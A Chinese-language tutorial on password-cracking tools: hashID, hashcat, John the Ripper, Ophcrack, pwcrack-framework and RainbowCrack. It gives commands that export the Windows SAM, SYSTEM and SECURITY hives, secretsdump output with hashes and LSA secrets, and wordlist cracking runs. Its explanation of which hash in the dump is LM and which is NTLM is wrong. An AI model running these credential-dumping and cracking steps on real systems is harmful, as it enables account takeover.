,__\\ \\ \\ _ `\\ \\ \\ \\ \\ \\ \\ \\ \\ # # \\ \\ \\ \\ \\/\\ \\_\\ \\_/\\__, `\\ \\ \\ \\ \\ \\ \\_\\ \\__ \\ \\ \\_\\ \\ # # \\ \\_\\ \\_\\ \\___ \\_\\/\\____/ \\ \\_\\ \\_\\ /\\_____\\ \\ \\____/ # # \\/_/\\/_/\\/__/\\/_/\\/___/ \\/_/\\/_/ \\/_____/ \\/___/ v1.1 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### ------------------------------------------------------------------------- HASH: 46ea1712d4b13b55b3f680cc5b8b54e8Possible Hashs:[+] MD5[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) Hashid 这个工具取代了已经过时的hash-identifier! hashID是一个使用正则表达式支持识别超过220种独特哈希类型的工具,它由Python 3编写而成.支持的哈希类型的详细列表可以在这里找到. 它能够识别单个哈希值,解析文件或读取目录中的多个文件,并识别其中的哈希值.hashID还能够在输出中包含相应的hashcat模式和/或JohnTheRipper格式. hashID可以在任何平台上使用Python 2 ≥ 2.7.x或Python 3 ≥ 3.3,并且可以即插即用. 在Linux操作系统中识别哈希值时,请使用单引号以防止插值发生. 1234567891011121314151617181920┌──(root㉿kill3r)-[/opt]└─# hashid -h使用hashid识别用于加密数据的不同类型的哈希算法用法: hashid.py [-h] [-e] [-m] [-j] [-o FILE] [--version] INPUT位置参数: INPUT 要分析的输入(默认为STDIN)选项: -e, --extended 列出包括加盐密码在内的所有可能的哈希算法 -m, --mode 在输出中显示相应的Hashcat模式 -j, --john 在输出中显示相应的JohnTheRipper格式 -o FILE, --outfile FILE 将输出写入文件 -h, --help 显示此帮助消息并退出 --version 显示程序的版本号并退出许可证: GPLv3+: GNU通用公共许可证第3版或更高版<http://gnu.org/licenses/gpl.html> 1234567891011121314151617181920212223242526272829303132333435┌──(root㉿kill3r)-[/opt]└─# hashid '0192023a7bbd73250516f069df18b500' -mAnalyzing '0192023a7bbd73250516f069df18b500'[+] MD2[+] MD5 [Hashcat Mode: 0][+] MD4 [Hashcat Mode: 900][+] Double MD5 [Hashcat Mode: 2600][+] LM [Hashcat Mode: 3000][+] RIPEMD-128[+] Haval-128[+] Tiger-128[+] Skein-256(128)[+] Skein-512(128)[+] Lotus Notes/Domino 5 [Hashcat Mode: 8600][+] Skype [Hashcat Mode: 23][+] Snefru-128[+] NTLM [Hashcat Mode: 1000][+] Domain Cached Credentials [Hashcat Mode: 1100][+] Domain Cached Credentials 2 [Hashcat Mode: 2100][+] DNSSEC(NSEC3) [Hashcat Mode: 8300][+] RAdmin v2.x [Hashcat Mode: 9900]┌──(root㉿kill3r)-[/opt]└─# hashid '$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1' -mAnalyzing '$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1'[+] Wordpress ≥ v2.6.2 [Hashcat Mode: 400][+] Joomla ≥ v2.5.18 [Hashcat Mode: 400][+] PHPass' Portable Hash [Hashcat Mode: 400]┌──(root㉿kill3r)-[/opt]└─# hashid '$racf$*AAAAAAAA*3c44ee7f409c9a9b' -mAnalyzing '$racf$*AAAAAAAA*3c44ee7f409c9a9b'[+] RACF [Hashcat Mode: 8500] HashCathashcat简介 Hashcat是自称世界上最快的密码恢复工具.它在2015年之前拥有专有代码库,但现在作为免费软件发布.适用于Linux,OS X和Windows的版本可以使用基于CPU或基于GPU的变体.支持hashcat的散列算法有Microsoft LM哈希,MD4,MD5,SHA系列,Unix加密格式,MySQL和Cisco PIX等. hashcat支持多种计算核心: 123456GPUCPUAPUDSPFPGACoprocessor GPU的驱动要求 123456AMD GPUs on Linux require "RadeonOpenCompute (ROCm)" Software Platform (1.6.180 or later)AMD GPUs on Windows require "AMD Radeon Software Crimson Edition" (15.12 or later)Intel CPUs require "OpenCL Runtime for Intel Core and Intel Xeon Processors" (16.1.1 or later)Intel GPUs on Linux require "OpenCL 2.0 GPU Driver Package for Linux" (2.0 or later)Intel GPUs on Windows require "OpenCL Driver for Intel Iris and Intel HD Graphics"NVIDIA GPUs require "NVIDIA Driver" (367.x or later) hashcat常用命令1234567891011121314-r 使用自定义破解规则 -o 指定破解成功后的 hash 及所对应的明文密码的存放位置 -m 指定要破解的 hash 类型,如果不指定类型,则默认是 MD5 -a 指定要使用的破解模式,其值参考后面对参数."-a 0" 字典攻击,"-a 1" 组合攻击;"-a 3" 掩码攻击 -D 指定 opencl 的设备类型 --show 显示已经破解的 hash 及该 hash 所对应的明文 --force 忽略破解过程中的警告信息,跑单条 hash 可能需要加上此选项 --remove 删除已被破解成功的 hash --username 忽略 hash 文件中的指定的用户名,在破解 linux 系统用户密码 hash 可能会用到 --increment 启用增量破解模式,你可以利用此模式让 hashcat 在指定的密码长度范围内执行破解过程 --increment-min 密码最小长度,后面直接等于一个整数即可,配置 increment 模式一起使用 --increment-max 密码最大长度,同上 --outfile-format 指定破解结果的输出格式 id ,默认是 3 --self-test-disable 关闭启动自检 123456# -a 破解模式:0 | Straight (字典破解) 1 | Combination (组合破解) 3 | Brute-force (掩码暴力破解) 6 | Hybrid Wordlist + Mask(字典+掩码破解) 7 | Hybrid Mask + Wordlist(掩码+字典破解) 12345# -D 指定设备类型:1 | CPU2 | GPU3 | FPGA, DSP, Co-Processor# 一般使用 -D 2 指定 GPU 破解 123456789# 掩码设置:l | abcdefghijklmnopqrstuvwxyz 纯小写字母 u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母 d | 0123456789 纯数字 h | 0123456789abcdef 十六进制小写字母和数字 H | 0123456789ABCDEF 十六进制大写字母和数字 s | !"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ 特殊字符 a | ?l?u?d?s 键盘上所有可见的字符 b | 0x00 - 0xff 匹配密码空格 12345678# 掩码设置举例:八位数字密码: ?d?d?d?d?d?d?d?d 八位未知密码: ?a?a?a?a?a?a?a?a 前四位为大写字母,后面四位为数字: ?u?u?u?u?d?d?d?d 前四位为数字或者是小写字母,后四位为大写字母或者数字: ?h?h?h?h?H?H?H?H 前三个字符未知,中间为admin,后三位未知: ?a?a?aadmin?a?a?a 6-8位数字密码: --increment --increment-min 6 --increment-max 8 ?d?d?d?d?d?d?d?d 6-8位数字+小写字母密码: --increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h 12345678910# 自定义掩码规则:--custom-charset1 [chars]等价于 -1 --custom-charset2 [chars]等价于 -2 --custom-charset3 [chars]等价于 -3 --custom-charset4 [chars]等价于 -4# 在掩码中用 ?1、?2、?3、?4 来表示注意:–custom-charset1 abcd ?1?1?1?1?1 等价于 -1 abcd ?1?1?1?1?1-3 abcdef -4 123456 ?3?3?3?3?4?4?4?4 表示前四位可能是 adbcdef,后四位可能是 123456 hash id 对照表123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115因为实在是太多了,所有我就贴一部分常见的hash类型,要想了解所有的参数可到hashcat的Wiki上去看,或者直接hashcat --help查看hash对照表 # | Name | Category 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 1300 | SHA2-224 | Raw Hash 1400 | SHA2-256 | Raw Hash 10800 | SHA2-384 | Raw Hash 1700 | SHA2-512 | Raw Hash 17300 | SHA3-224 | Raw Hash 17400 | SHA3-256 | Raw Hash 17500 | SHA3-384 | Raw Hash 17600 | SHA3-512 | Raw Hash 10 | md5($pass.$salt) | Raw Hash, Salted and/or Iterated 20 | md5($salt.$pass) | Raw Hash, Salted and/or Iterated 30 | md5(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 40 | md5($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 3800 | md5($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated 3710 | md5($salt.md5($pass)) | Raw Hash, Salted and/or Iterated 4010 | md5($salt.md5($salt.$pass)) | Raw Hash, Salted and/or Iterated 4110 | md5($salt.md5($pass.$salt)) | Raw Hash, Salted and/or Iterated 2600 | md5(md5($pass)) | Raw Hash, Salted and/or Iterated 3910 | md5(md5($pass).md5($salt)) | Raw Hash, Salted and/or Iterated 4300 | md5(strtoupper(md5($pass))) | Raw Hash, Salted and/or Iterated 4400 | md5(sha1($pass)) | Raw Hash, Salted and/or Iterated 110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated 120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated 130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 140 | sha1($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 4500 | sha1(sha1($pass)) | Raw Hash, Salted and/or Iterated 4520 | sha1($salt.sha1($pass)) | Raw Hash, Salted and/or Iterated 4700 | sha1(md5($pass)) | Raw Hash, Salted and/or Iterated 4900 | sha1($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated 14400 | sha1(CX) | Raw Hash, Salted and/or Iterated 1410 | sha256($pass.$salt) | Raw Hash, Salted and/or Iterated 1420 | sha256($salt.$pass) | Raw Hash, Salted and/or Iterated 1430 | sha256(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 1440 | sha256($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 1710 | sha512($pass.$salt) | Raw Hash, Salted and/or Iterated 1720 | sha512($salt.$pass) | Raw Hash, Salted and/or Iterated 1730 | sha512(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 1740 | sha512($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 14000 | DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack 14100 | 3DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack 14900 | Skip32 (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack 15400 | ChaCha20 | Raw Cipher, Known-Plaintext attack 2500 | WPA-EAPOL-PBKDF2 | Network Protocols 2501 | WPA-EAPOL-PMK | Network Protocols 16800 | WPA-PMKID-PBKDF2 | Network Protocols 16801 | WPA-PMKID-PMK | Network Protocols 7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols 7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | Network Protocols 8300 | DNSSEC (NSEC3) | Network Protocols 10200 | CRAM-MD5 | Network Protocols 11100 | PostgreSQL CRAM (MD5) | Network Protocols 11200 | MySQL CRAM (SHA1) | Network Protocols 16100 | TACACS+ | Network Protocols 16500 | JWT (JSON Web Token) | Network Protocols 121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce, Frameworks 400 | phpBB3 (MD5) | Forums, CMS, E-Commerce, Frameworks 2811 | MyBB 1.2+ | Forums, CMS, E-Commerce, Frameworks 2811 | IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce, Frameworks 8400 | WBB3 (Woltlab Burning Board) | Forums, CMS, E-Commerce, Frameworks 11 | Joomla < 2.5.18 | Forums, CMS, E-Commerce, Frameworks 400 | Joomla >= 2.5.18 (MD5) | Forums, CMS, E-Commerce, Frameworks 400 | WordPress (MD5) | Forums, CMS, E-Commerce, Frameworks 2612 | PHPS | Forums, CMS, E-Commerce, Frameworks 7900 | Drupal7 | Forums, CMS, E-Commerce, Frameworks 21 | osCommerce | Forums, CMS, E-Commerce, Frameworks 21 | xt:Commerce | Forums, CMS, E-Commerce, Frameworks 11000 | PrestaShop | Forums, CMS, E-Commerce, Frameworks 124 | Django (SHA-1) | Forums, CMS, E-Commerce, Frameworks 10000 | Django (PBKDF2-SHA256) | Forums, CMS, E-Commerce, Frameworks 12 | PostgreSQL | Database Server 131 | MSSQL (2000) | Database Server 132 | MSSQL (2005) | Database Server 1731 | MSSQL (2012, 2014) | Database Server 200 | MySQL323 | Database Server 300 | MySQL4.1/MySQL5 | Database Server 3100 | Oracle H: Type (Oracle 7+) | Database Server 112 | Oracle S: Type (Oracle 11+) | Database Server 12300 | Oracle T: Type (Oracle 12+) | Database Server 8000 | Sybase ASE | Database Server 15000 | FileZilla Server >= 0.9.55 | FTP Server 11500 | CRC32 | Checksums 3000 | LM | Operating Systems 1000 | NTLM | Operating Systems 500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating Systems 3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems 7400 | sha256crypt $5$, SHA256 (Unix) | Operating Systems 1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems 122 | macOS v10.4, MacOS v10.5, MacOS v10.6 | Operating Systems 1722 | macOS v10.7 | Operating Systems 7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating Systems 11600 | 7-Zip | Archives 12500 | RAR3-hp | Archives 13000 | RAR5 | Archives 13600 | WinZip | Archives 9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents 9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents 9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents 9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents 9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents 9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents 9400 | MS Office 2007 | Documents 9500 | MS Office 2010 | Documents 9600 | MS Office 2013 | Documents 10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents 10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents 10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents 10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents 10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents 10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents 99999 | Plaintext | Plaintext 暴力破解MD5值 使用字典进行破解:hashcat -m 0 -a 0 0192023a7bbd73250516f069df18b500 top3000.txt --force --show 使用指定字符集进行破解:hashcat -a 3 -m 0 63a9f0ea7bb98050796b649e85481845 ?l?l?l?l --force --show 使用字典+掩码进行破解:hashcat -a 6 -m 0 1844156d4166d94387f1a4ad031ca5fa rockyou.txt ?d?d?d --force 使用掩码+字典进行破解:hashcat -a 7 -m 0 1844156d4166d94387f1a4ad031ca5fa ?d?d?d rockyou.txt --force 经过测试,这里的掩码+字典组合破解,不是说简单的将掩码和字典的内容合并去重形成 1 个字典进行去重,而是说掩码的内容加上字典的内容组合成一个字典 如果破解时间太长,我们可以按s键查看破解进度,p键暂停,r键继续破解,q键退出破解 破解windows系统密码首先,执行以下命令通过reg的save选项将注册表中的SAM、System文件导出到本地磁盘. 以管理员权限运行cmd!!! 123reg save HKLM\\SYSTEM system.savereg save HKLM\\SAM sam.savereg save HKLM\\SECURITY security.save 将这三个文件拷贝到kali中 执行以下命令获取计算机账号原始Hash 123456789101112131415161718192021222324252627282930313233┌──(root㉿kill3r)-[/home/kill3r]└─# impacket-secretsdump -sam sam.save -system system.save -security security.save LOCALImpacket v0.10.0 - Copyright 2022 SecureAuth Corporation[*] Target system bootKey: 0xe7af37b33872d8355dd3e7d06a54a2de[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ef04605d66ffa6396d535bb157a6f802:::test:1001:aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537:::[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] DPAPI_SYSTEMdpapi_machinekey:0xad14af85abe351048c63c486067b2428ce493627dpapi_userkey:0x46711e623e1d8e4ceec4413a89ee518dd0160c44[*] NL$KM 0000 53 0A 12 4E 1F E9 1C 75 E0 AD A1 A5 2A 74 BC C7 S..N...u....*t.. 0010 2B 19 06 05 9F D1 48 BA E8 53 36 17 46 FC 5F 6E +.....H..S6.F._n 0020 5D C1 27 D5 71 57 7A 5D BA 3B 76 45 02 92 0D 50 ].'.qWz].;vE...P 0030 AA F5 D2 BC C8 11 26 FF BA 4D 64 3A CD EA 9F B1 ......&..Md:....NL$KM:530a124e1fe91c75e0ada1a52a74bcc72b1906059fd148bae853361746fc5f6e5dc127d571577a5dba3b764502920d50aaf5d2bcc81126ffba4d643acdea9fb1[*] Cleaning up...test:1001:aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537:::用户名:在这种情况下,用户名是 "test".密码哈希:NTLM 哈希是 "aad3b435b51404eeaad3b435b51404ee".LM 哈希:LM 哈希被表示为空,即 "31d6cfe0d16ae931b73c59d7e0c089c0". 12345┌──(root㉿kill3r)-[/home/kill3r]└─# hashcat -a 0 -m 1000 0cb6948805f797bf2a82807973b89537 /opt/PasswordDic/用户名和密码/密码/15w密码字典.txt┌──(root㉿kill3r)-[/home/kill3r]└─# hashcat -a 0 -m 1000 0cb6948805f797bf2a82807973b89537 /opt/PasswordDic/用户名和密码/密码/15w密码字典.txt --show0cb6948805f797bf2a82807973b89537:test John the RipperJohn John the Ripper是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文,支持目前大多数的加密算法,如DES、MD4、MD5等.它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码.除了在各种Unix系统上最常见的几种密码哈希类型之外,它还支持Windows LM散列,以及社区增强版本中的许多其他哈希和密码.它是一款开源软件.Kali中自带John 可执行文件位置: /usr/sbin/john 密码字典所在目录: /usr/share/john/ john - John the Ripper密码破解器123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354┌──(root㉿kill3r)-[/opt]└─# johnJohn the Ripper密码破解器,版本: 1.7.9-jumbo-7_omp [linux-x86-sse2]版权所有 (c) 1996-2012 Solar Designer和其他人主页: http://www.openwall.com/john/用法: john [选项] [密码文件]--config=FILE 使用FILE而不是john.conf或john.ini--single[=SECTION] "single crack"模式--wordlist[=FILE] --stdin 从文件或stdin读取单词的wordlist模式 --pipe 像--stdin一样,但批量读取,并允许规则--loopback[=FILE] 类似于--wordlist,但从.pot文件中获取单词--dupe-suppression 在wordlist中禁止所有重复项(并强制预加载)--encoding=NAME 输入数据为非ASCII(例如UTF-8,ISO-8859-1). 要查看NAME的完整列表,请使用--list=encodings--rules[=SECTION] 启用wordlist模式的单词篡改规则--incremental[=MODE] "incremental"模式[使用节MODE]--markov[=OPTIONS] "Markov"模式(参见doc/MARKOV)--external=MODE 外部模式或单词过滤器--stdout[=LENGTH] 仅输出候选密码[最多LENGTH个字符]--restore[=NAME] 恢复中断的会话[名为NAME]--session=NAME 为新会话指定名称NAME--status[=NAME] 打印会话的状态[名为NAME]--make-charset=FILE 创建字符集文件.它将被覆盖--show[=LEFT] 显示破解的密码[如果=LEFT,则未破解]--test[=TIME] 运行测试和基准,每个测试持续TIME秒--users=[-]LOGIN|UID[,..] [不]仅加载此(这些)用户--groups=[-]GID[,..] [不]仅加载具有此(这些)组的用户--shells=[-]SHELL[,..] [不]仅加载具有此(这些)shell的用户--salts=[-]COUNT[:MAX] [无]加载COUNT [至MAX]个哈希的盐--pot=NAME 要使用的pot文件--format=NAME 强制使用哈希类型NAME: afs bf bfegg bsdi crc32 crypt des django dmd5 dominosec dragonfly3-32 dragonfly3-64 dragonfly4-32 dragonfly4-64 drupal7 dummy dynamic_n epi episerver gost hdaa hmac-md5 hmac-sha1 hmac-sha224 hmac-sha256 hmac-sha384 hmac-sha512 hmailserver ipb2 keepass keychain krb4 krb5 lm lotus5 md4-gen md5 md5ns mediawiki mscash mscash2 mschapv2 mskrb5 mssql mssql05 mysql mysql-sha1 nethalflm netlm netlmv2 netntlm netntlmv2 nsldap nt nt2 odf office oracle oracle11 osc pdf phpass phps pix-md5 pkzip po pwsafe racf rar raw-md4 raw-md5 raw-md5u raw-sha raw-sha1 raw-sha1-linkedin raw-sha1-ng raw-sha224 raw-sha256 raw-sha384 raw-sha512 salted-sha1 sapb sapg sha1-gen sha256crypt sha512crypt sip ssh sybasease trip vnc wbb3 wpapsk xsha xsha512 zip--list=WHAT 列出功能,参见--list=help或doc/OPTIONS--save-memory=LEVEL 启用内存节省,在LEVEL 1..3之间--mem-file-size=SIZE 用于wordlist预加载的大小阈值(默认为5 MB)--nolog 禁止创建和写入john.log文件--crack-status 每次破解密码时发出状态行--max-run-time=N 在N秒后平滑退出--regen-lost-salts=N 重新生成丢失的盐(参见doc/OPTIONS)--plugin=NAME[,..] 加载此(这些)动态插件 john 使用示例123456echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' >1┌──(root㉿kill3r)-[/opt]└─# john 1 --show?:snoopy1 password hash cracked, 0 left john 破解windows密码12345678910111213141516171819202122┌──(root㉿kill3r)-[/home/kill3r]└─# echo '0cb6948805f797bf2a82807973b89537' > 1.txt# 执行以下命令进行破解┌──(root㉿kill3r)-[/home/kill3r]└─# john 1.txt -format=NTUsing default input encoding: UTF-8Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])Warning: no OpenMP support for this hash type, consider --fork=4Proceeding with single, rules:SinglePress 'q' or Ctrl-C to abort, almost any other key for statusAlmost done: Processing the remaining buffered candidate passwords, if any.Proceeding with wordlist:/usr/share/john/password.lsttest (?)1g 0:00:00:00 DONE 2/3 (2023-08-15 18:08) 100.0g/s 38400p/s 38400c/s 38400C/s lacrosse..larryUse the "--show --format=NT" options to display all of the cracked passwords reliablySession completed.┌──(root㉿kill3r)-[/home/kill3r]└─# john 1 -format=NT --show?:test1 password hash cracked, 0 left Ophcrack Ophcrack 是一款流行的开源密码破解工具,用于恢复 Windows 系统用户密码.Ophcrack 使用预先计算的彩虹表(rainbow table)来加快密码破解过程.彩虹表是一种密码哈希值和对应明文密码的大规模预计算表格,可以显著提高密码破解效率. 简单使用1234567891011121314151617181920212223242526272829303132333435363738┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# ophcrack-cliophcrack 3.8.0由Objectif Securite(http://www.objectif-securite.ch)开发用法:ophcrack [OPTIONS]使用彩虹表破解Windows密码 -a 禁用审计模式(默认) -A 启用审计模式 -b 禁用暴力破解 -B 启用暴力破解(默认) -c config_file 指定要使用的配置文件 -D 显示(大量的!)调试信息 -d dir 指定表的基本目录 -e 不显示空密码 -f file 从指定的文件加载哈希值(pwdump或会话) -g 禁用图形用户界面(GUI) -h 显示此信息 -i 隐藏用户名 -I 显示用户名(默认) -l file 将所有输出记录到指定的文件 -n num 指定要使用的线程数 -o file 将破解结果以pwdump格式写入文件 -p num 预加载(0无,1索引,2索引+结束,3全部默认) -q 静默模式 -r 在ophcrack启动时启动破解(仅限GUI) -s 禁用会话自动保存 -S session_file 指定用于自动保存搜索进度的文件 -u 破解结束时显示统计信息 -t table1[,a[,b,...]][:table2[,a[,b,...]]] 指定要在-d给出的目录中使用的表 -v 冗长模式 -w dir 从目录dir中的加密SAM文件加载哈希值 -x file 将数据以CSV格式导出到文件示例:ophcrack -g -d /path/to/tables -t xp_free_fast,0,3:vista_free -f in.txt使用命令行启动ophcrack,使用路径/path/to/tables/xp_free_fast中的表0和3以及路径/path/to/tables/vista_free中的所有表,并破解来自in.txt文件的哈希值# tables可通过https://ophcrack.sourceforge.io/tables.php下载 pwcrack-framework12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364┌──(root㉿kill3r)-[/opt/pwcrack]└─# git clone https://github.com/L-codes/pwcrack-framework┌──(root㉿kill3r)-[/opt/pwcrack]└─# cd pwcrack-framework┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# bundle update┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# bundle install┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# banner view┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# ./pwcrack banner "$$$$$$'' 'M$ '$$$@m :$$$$$$$$$$$$$$''$$$$' '$' 'JZI'$$& $$$$' '$$$ '$$$$ $$$$ J$$$$' m$$$$ $$$$, $$$$@ '$$$$_ pwcrack-framework '1t$$$$' '$$$$< '$$$$$$$$$$' $$$$ version 1.19.0 '@$$$$' $$$$' '$$$$ '$$$@ 'z$$$$$$ @$$$ r$$$ $$| '$$v c$$ '$$v $$v$$$$$$$$$# $$x$$$$$$$$$twelve$$$@$' @$$$@L ' '<@$$$$$$$$` $$ '$$$ [ Github ] https://github.com/L-codes/pwcrack-framework [ Plugin Count ] Online Plugin: 23 Offline Plugin: 37 supporting algorithms: 60 [ Algorithm Plugin Count ] serv_u: 21 md5: 21 sha1: 13 dedecms: 10 md5_16: 10 mysql: 8 ntlm: 7 sha512: 7 sha256: 7 mysql3: 6 md4: 4 lm: 4 sha384: 3 mssql: 2 zfsoft: 1 xshell: 1 xftp: 1 websphere: 1 uportal2800: 1 trswcm: 1 signer: 1 seeyon_nc: 1 seeyon_analyze_icloud: 1 seeyon_a8: 1 securecrt_v2: 1 securecrt: 1 richmail: 1 qizhi_php: 1 navicat12: 1 navicat11: 1 mobaxterm: 1 mac_osx_vnc: 1 lsrunase: 1 landray_ekp: 1 juniper_type9: 1 interlib: 1 h3c_imc: 1 h3c_huawei: 1 h3c_cvm: 1 grafana: 1 gpp: 1 foxmail: 1 foxmail6: 1 flashfxp: 1 finereport: 1 finalshell: 1 filezilla: 1 druid_rsa: 1 dongao_rc4: 1 whirlpool: 1 sha224: 1 ripemd320: 1 ripemd256: 1 ripemd160: 1 ripemd128: 1 mdc2: 1 md2: 1 dahan_jis: 1 d3des_vnc: 1 cisco_vpn: 1 cisco_type7: 1 用法12345678910111213141516171819用法: ./pwcrack [选项] (密文|获取|横幅|初始化数据库) [算法...]-q, --quiet 发现明文后立即退出-t, --timeout 秒 指定请求超时时间 [默认值: 4]-o, --open-timeout 秒 指定TCP打开超时时间 [默认值: 8]-r, --retry 次数 重试次数 [默认值: 1]-i, --retry-interval 秒 重试间隔秒数 [默认值: 0.5]-s, --select 插件名称 指定插件 (插件1[,插件2...])-x, --proxy "协议://IP:端口" 设置代理-v, --verbose 以详细模式运行-d, --debug 以调试模式运行--nocolor 禁用彩色输出--version 显示版本使用示例:./pwcrack banner./pwcrack initdb./pwcrack e10adc3949ba59abbe56e057f20f883e./pwcrack e10adc3949ba59abbe56e057f20f883e md5./pwcrack base64:ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UK -s pmd5 简单使用1234567891011121314151617181920212223242526272829303132333435┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# ./pwcrack e10adc3949ba59abbe56e057f20f883e[+] Cipher Algorithm: MD2 or MD4 or MD5 or MDC2 or LM or NTLM or RIPEMD128 or RICHMAIL or UPORTAL2800 or NAVICAT12 or INTERLIB or FOXMAIL or FOXMAIL6 or FLASHFXP or NAVICAT11 or SECURECRT or D3DES_VNC or SEEYON_NC or SEEYON_ANALYZE_ICLOUD( 0.69s) bugbank: 123456( 0.69s) cmd5la: 包含123456的字符串( 0.64s) ttmd5: 123456( 0.78s) localdb: 123456( 2.09s) hashes: 123456( 2.18s) gromweb: 123456( 2.22s) md5_my_addr: 123456( 2.87s) dehash: 123456( 2.88s) md5cracker: 123456[+] PWCrack (9/33) in 21.21 seconds.┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# ./pwcrack e10adc3949ba59abbe56e057f20f883e md5[+] Cipher Algorithm: MD5( 0.40s) cmd5la: 包含123456的字符串( 0.45s) localdb: 123456( 0.38s) ttmd5: 123456( 0.41s) bugbank: 123456( 0.74s) cmd5: 123456( 1.00s) cmd5en: 123456( 1.17s) md5_my_addr: 123456( 1.85s) gromweb: 123456( 1.84s) md5cracker: 123456( 4.13s) hashes: 123456( 6.30s) dehash: 123456[+] PWCrack (11/21) in 20.61 seconds. RainbowCrack 基于时间记忆权衡技术生成彩虹表 提前计算密码的HASH值,通过比对HASH值破解密码 计算HASH的速度很慢,修改版支持CUDA GPU Kali中包含的RainbowCrack工具 rtgen:预计算,生成彩虹表,耗时的阶段 rtsort:对rtgen生成的彩虹表进行排序 tcrack:查找彩虹表破解密码 以上命令必须顺序使用 简介彩虹表攻击(RainbowCrack)是利用彩虹表来破解哈希数据的工具.它实现了由PhILippe Oechslin提倡的”以空间换时间”的技术思想 在进行彩虹表离线破解时,我们需要拥有目标Hash散列值 暴力破解这种密码破解的方式有别于暴力破解,暴力破解攻击首先计算密码的备选值(字典里的密码)的Hash值,然后再将计算出来的Hash与获取到的Hash进行对比,如果这两个值相等,则确定Hash的原始内容即是密码;否则就说明密码不正确 彩虹表破解法彩虹表破解的效率也高于暴力破解法,因为暴力破解法必须计算字典内容的Hash值然后进行匹配,而使用\"以空间换时间\"技术的彩虹表破解法,实现就计算好了字典各项的Hash值,破解过程只是简单的数值比较,所以效率更高 彩虹表的组成方式彩虹表的组成方式实际是以指定数量,或者无数条彩虹链组成的 RainbowCrack implements Kali Linux收录了RainbowCrack的三大工具.在破解Hash时,您必须依次使用这些工具. rtgen:生成彩虹表的程序.生成彩虹表的计算过程也被称为彩虹表的预计算阶段.彩虹表包含字典、哈希值、哈希算法、字符集以及字典的长度范围.彩虹表的预计算相当费时.但是生成彩虹表之后,彩虹表破解法将比暴力破解法的效率要高上不少.rtgen程序支持的算法有LanMan、NTLM、MD2、MD4、MD5、SHA1以及RIPEMD160 rtsort:对rtgen生成的彩虹表进行排序的工具 rcrack:利用彩虹表查找哈希值的工具 